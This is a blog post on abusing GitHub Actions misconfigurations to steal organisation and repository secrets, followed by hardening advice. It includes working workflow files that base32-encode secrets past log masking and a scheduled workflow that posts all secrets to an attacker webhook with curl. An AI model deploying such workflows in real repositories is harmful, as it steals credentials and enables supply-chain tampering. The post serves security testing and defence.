Before we move to exploitation part, lets understand some basics of github version control and CICD systems. Folks who have experience with github ecosystem can skip this part and directly move to Misconfig part.

Basics of CI/CD Workflows :

GitHub provides companies with the ability to create an organization to store their source code repositories. Within these organisations, multiple repositories can be created, each with its own visibility settings: either as Private, safeguarding proprietary code, or Public, facilitating open-source project contributions, depending on the specific needs and objectives of the organization.

In the context of GitHub repositories, they serve as repositories for source code, and in modern software development practices, they often come equipped with automated pipelines tailored for continuous deployment and continuous integration (CI/CD) purposes. This setup streamlines the process of integrating new code changes into existing production codebases. When a developer aims to introduce a new feature or improvement, they initiate a pull request against the production codebase. Subsequently, the CI system orchestrates a battery of automated unit tests and other checks to ensure that these changes do not compromise the stability or security of the codebase.

I came across several repositories that appeared to be quite old, lacking or having disabled branch protection rules. These repositories seemed to have served as temporary storage for Proof of Concept projects and were left neglected without being archived. Suddenly, a recent memory of a blog post I read, titled “SLSA and DIP: It’s Build Time” (https://boostsecurity.io/blog/slsa-dip-its-build-time), flashed through my mind. It struck me that this situation could potentially lead to a misconfiguration that might allow unauthorized access to secrets stored at the organization level with default settings.

This situation raised a red flag, as it represents a classic case of an insider threat or privilege escalation. In an ideal company setup, the DevOps team would be responsible for and have access to secrets stored at the organization level. However, this misconfiguration could potentially lead to unauthorised elevation of privileges, creating a serious security concern.

To exploit this misconfiguration, the following prerequisites should be considered:

1. Repository Creation or Write Access: The attacker must possess one of the following capabilities:
   • The ability to create a new repository within a private organization.
   • Write access to a repository that lacks branch protection rules.
   • The capability to create branches and initiate Pull Requests on repositories with access to organization secrets.
2. GitHub Actions/Workflows Enabled: The target repositories must have GitHub Actions or workflows enabled by default, and this condition applies to all private repositories or repositories that satisfy the first criterion.
3. Sensitive Secrets Stored at Organization Level accessible to misconfigured repository: The attacker’s objective relies on the presence of sensitive secrets stored at the organization level. These secrets represent the valuable target of the exploit.

In our case we had,

1. Write access to a repository with no branch protection rules.
2. Ability to create a Github actions and trigger a workflow in previously identified repository.
3. I identified by reviewing Github workflow files of other repositories that there was a github secret “NPM_PRIV_TOKEN” consumed by a lot of services .I assumed that the secret is stored at an organisation level at this point and is accessible to all private repositories.(default setting / which later confirmed via testing.) As the name suggest it was an npm token which had privileges to modify and access private registry npm packages and most likely set by their Infra team if taken over, results in poisoning / tampering of source packages consumed by production services.
4. Note : we can dump all secrets accessible to repo without knowing the secret with secrets context, toJson(secrets) & variable names with vars context, and github built in function , toJson()

With the prior conditions to exploit satisfied , Our goal was to steal organisation secret “NPM_PRIV_TOKEN” .

Its Exploit time:

Craft a malicious github actions workflow file which access the stored organisation secret and dump it over actions log with base32 encoding. Github actions does not allow clear text logging of secrets as part of actions log.

As we see below this is a basic github actions workflow file which triggers when there is a Push / Pull request action to the main branch of this repository from the user. create a file / push this to path “.github/workflows/exfil.yaml”

name: Exfiltrate org secret
on:
  push:
    branches: [main]
  pull_request:
    branches: [main]
jobs:
  exfil:
    runs-on: ubuntu-latest
    steps:
    - name: exfil org secret
      id: response
      run:  |
          echo "lets exfil some org secrets..."
          echo "${{secrets.NPM_PRIV_TOKEN}}" | base32

And workflow would have triggered automatically. If not just make a dummy commit / create a blank file with dummy commit to trigger the workflow.

Check the Actions log to see the exfiltrated org secret.

And lets Base32 Decode the result to get the cleartext secret.

Mis-config 2 – Exfiltrate Repository level Secrets :

After reviewing several service repositories, I checked their GitHub Actions workflow files for secrets unique to each repository.I noticed something interesting: in one repository’s workflow file, it used “${{secrets.CI_TOKEN }}” as a secret. Normally, only the DevOps team or repository owners can manage secrets at the repository level due to security concerns. If someone were to steal the CI_TOKEN, it could lead to compromised builds and workflow tampering, depending on the CI system and token privileges (like Circle CI or Jenkins).

It’s important to mention that this repository had strong branch protection rules, requiring multiple reviews to merge changes into the base branch. Additionally, CODEOWNERS triggered mandatory reviews by the DevOps team when modifying GitHub workflow files in the base branch. However, I found that secrets stored at the repository level could be accessed by workflows from all branches, not just the base branch.

These are the prior conditions to be aware to exploit this misconfiguration :

1. Ability to create a new branch on a service repository .
2. GitHub Actions/Workflows Enabled: The target repositories must have GitHub Actions or workflows enabled by default, and this condition applies to all private repositories or repositories that satisfy the first criterion.
3. Sensitive Secrets stored at Repository level for Selected Repository .

In our case we had,

1. Ability to create a new branch on identified service repository.
2. Github actions were enabled for the selected repository and also ability to run on created branches without any restriction.
3.  secret ‘CI_TOKEN’ stored at identified service Github repo.
4. Note : we can dump all secrets accessible to repo without knowing the secret with secrets context, toJson(secrets) & variable names with vars context and github built in function , toJson()

With the prior conditions to exploit satisfied , Our goal was to steal Repository secret “CI_TOKEN” .

Its Exploit time:

Create a New branch for the identified repository in our case lets create a new branch “test-exfiltration” from base branch.

Lets create a malicious github workflow file at the path “.github/workflows/exfil.yaml” for the newly created branch. I will follow this steps on UI for simplicity and better verbose.

name: Exfiltrate Repository secret
on:
  push:
    branches: [test-exfiltration]
  pull_request:
    branches: [test-exfiltration]
jobs:
  exfil:
    runs-on: ubuntu-latest
    steps:
    - name: exfil repository secret
      id: response
      run:  |
          echo "lets exfil some repository secrets..."
          echo "${{secrets.CI_TOKEN}}" | base32

We observe that workflow runs successfully and triggers the exfiltration each time we commit to this branch via Push / Pull Request. And finally we base32 encode it and print to log which can be decoded to fetch cleartext secret.

To establish persistence, we can enhance the previous workflow by scheduling a recurring cronjob. This modified workflow would run at specified intervals and send all the variables and secrets accessible to compromised repository to an attacker-controlled site. The reason behind this approach is that secrets often undergo rotation for security reasons, making it crucial to maintain persistence for extended simulations aimed at testing an organization’s detection capabilities.

By incorporating this scheduled cronjob into our workflow, we ensure that any changes or updates to secrets within the organization are continuously monitored and exfiltrated, providing valuable insights into the organization’s security posture and response mechanisms.

name: Weekly CI Exfil

on:
  push:
    branches:
      - test-exfiltration
  pull_request:
    branches:
      - test-exfiltration
  schedule:
    - cron: '0 15 * * 1'  # run every Monday at 3 pm UTC

jobs:
  build:
    runs-on: ubuntu-latest

    steps:
    - name: Exfil Secrets
      run: |
        WEBHOOK_URL="https://<your webhook>"
        echo $ALL_VARS | curl -X POST -H "Content-Type: application/json" "$WEBHOOK_URL" -d @- 
        echo $ALL_SECRETS | curl -X POST -H "Content-Type: application/json" "$WEBHOOK_URL" -d @-
      env:
        ALL_VARS: ${{ toJSON(secrets) }}
        ALL_SECRETS: ${{ toJSON(vars) }}

Voila, web hook received with exfiltrated base32 encoded secret.

Even though our focus in this post has been mainly towards exfiltrate org level and repository level secrets, the highlighted misconfigurations could have resulted in completely different attack vectors (crypto mining etc) .

Hardening notes to Github Admins/DevOps :

1. Limit Repository creation access to Admin users and also make sure enforce branch protection rules to all the repositories to prevent wrongful actions by users.Also,Archive/Delete older source repositories .
2. Enforce RBAC permissions to Github repositories. All Github users should not have write access to all the repositories. Enforce team level granular permissions.
3. Limit organisation secrets exposure to selected repositories instead of all repositories .
4. Use reusable workflows to prevent unauthorised modifications to existing workflow files.
5. Notify and enforce reviews by DevOps/Security when such modifications happen via maintaining CODEOWNERS file.(https://docs.github.com/en/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-code-owners )
6. Limit ability to run Github Actions for selected/required source repositories only.
7. Use Deployment protection rules and store secrets in the context of environment.
8. Adapt to supply chain security frameworks such as SLSA (https://slsa.dev/) to enhance security posture and guard against supply chain security threats.

In the end, it’s worth noting that a simple misconfiguration can create a significant hole/blindspot in an organization’s security posture.

References / articles worth quoting :

https://boostsecurity.io/blog/slsa-dip-its-build-time

https://slsa.dev/

https://docs.github.com/en/actions/security-guides/security-hardening-for-github-actions

https://medium.com/checkmarx-security/dependabot-contributes-malicious-code-e79999a282e1

The post Github Misconfiguration to Secrets Exfiltration appeared first on .